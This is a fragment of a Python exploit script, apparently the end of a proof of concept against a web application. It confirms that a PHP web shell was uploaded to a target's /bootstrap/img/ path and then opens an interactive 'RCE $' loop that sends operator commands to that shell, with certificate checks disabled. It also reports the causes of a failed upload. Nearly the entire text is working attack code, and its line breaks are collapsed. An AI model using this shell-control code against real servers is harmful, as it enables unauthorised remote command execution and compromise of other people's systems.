if random_file in r.text: print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php') print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami') launch_shell = str(input('> Do you wish to launch a shell here? (y/n): ')) if launch_shell.lower() == 'y': whileTrue: cmd = str(input('RCE $ ')) if cmd == 'exit': sys.exit(0) r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False) print(r.text) else: if r.status_code == 200: print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.') else: print('> Web shell failed to upload! The web server may not have write permissions.')